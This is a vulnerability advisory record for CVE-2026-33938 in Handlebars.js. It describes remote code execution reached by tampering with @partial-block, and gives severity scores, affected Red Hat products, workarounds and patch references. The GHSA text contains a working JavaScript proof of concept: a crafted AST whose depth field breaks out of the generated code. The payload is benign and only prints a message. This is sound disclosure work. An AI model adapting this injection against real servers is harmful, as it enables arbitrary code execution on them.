{"id":"CVE-2026-33938","aliases":["CVE-2026-33938","GHSA-3mfm-83xf-c92r"],"related":[],"kind":"vulnerability","state":"published","title":"Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block","summary":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is  absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers  should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is  absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers  should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{>@partial-block}}\n    {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field — breaks out of generated function call\n          depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Handlebars proporciona la potencia necesaria para permitir a los usuarios construir plantillas semánticas. En las versiones 4.0.0 a 4.7.8, la variable especial “@partial-block” se almacena en el contexto de datos de la plantilla y es accesible y mutable desde dentro de una plantilla a través de helpers que aceptan objetos arbitrarios. Cuando un helper sobrescribe “@partial-block” con un AST de Handlebars manipulado, una invocación posterior de “{{> @partial-block}}” compila y ejecuta ese AST, permitiendo la ejecución arbitraria de JavaScript en el servidor. La versión 4.7.9 corrige el problema. Hay algunas soluciones alternativas disponibles. Primero, use la compilación solo en tiempo de ejecución (“require(’handlebars/runtime’)”). El método “compile()” está ausente, eliminando la ruta de reserva vulnerable. Segundo, audite los helpers registrados en busca de cualquiera que escriba valores arbitrarios en objetos de contexto. Los helpers deben tratar los datos de contexto como de solo lectura. Tercero, evite registrar helpers de paquetes de terceros (como “handlebars-helpers”) en contextos donde las plantillas o los datos de contexto puedan ser influenciados por entradas no confiables.","source":"nvd"}],"published":"2026-03-27T18:20:44.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"}],"cwes":["CWE-94","CWE-843","CWE-917"],"affected":[{"ranges":[{"version":">= 4.0.0, < 4.7.9","status":"affected"}],"vendor":"handlebars-lang","product":"handlebars.js","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782839279","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/logging-console-plugin-pf4-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782840539","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/logging-console-plugin-pf5-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782839996","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/troubleshooting-panel-console-plugin-pf6-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776744110","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces 3.27","package":"devspaces/code-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3.27::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Cryostat 4","package":"handlebars","cpe":"cpe:/a:redhat:cryostat:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch6-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-operator-bundle","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-proxy-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-rhel9-operator","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/kibana6-rhel8","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/logging-curator5-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Data Grid 8","package":"handlebars","cpe":"cpe:/a:redhat:jboss_data_grid:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Developer Hub","package":"rhdh/rhdh-hub-rhel9","cpe":"cpe:/a:redhat:rhdh:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 7","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"389-ds:1.4/389-ds-base","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"mozjs60","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","package":"devspaces/dashboard-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Process Automation 7","package":"handlebars","cpe":"cpe:/a:redhat:jboss_enterprise_bpms_platform:7","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.7.9"}],"ecosystem":"npm","package":"handlebars","purl":"pkg:npm/handlebars","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"4.0.0","fixed":"4.7.9"}],"vendor":"handlebarsjs","product":"handlebars","cpe":"cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33938","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452525","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33938.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33938","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/handlebars-lang/handlebars.js","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-31T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33938","url":"https://www.cve.org/CVERecord?id=CVE-2026-33938","licence":"CVE Terms of Use","modified":"2026-09-04T12:04:55.157Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3mfm-83xf-c92r","url":"https://github.com/advisories/GHSA-3mfm-83xf-c92r","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:36.784Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33938","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:17.448Z","epss":{"score":0.0098,"percentile":0.6105,"date":"2026-11-30T12:00:22.000Z"}}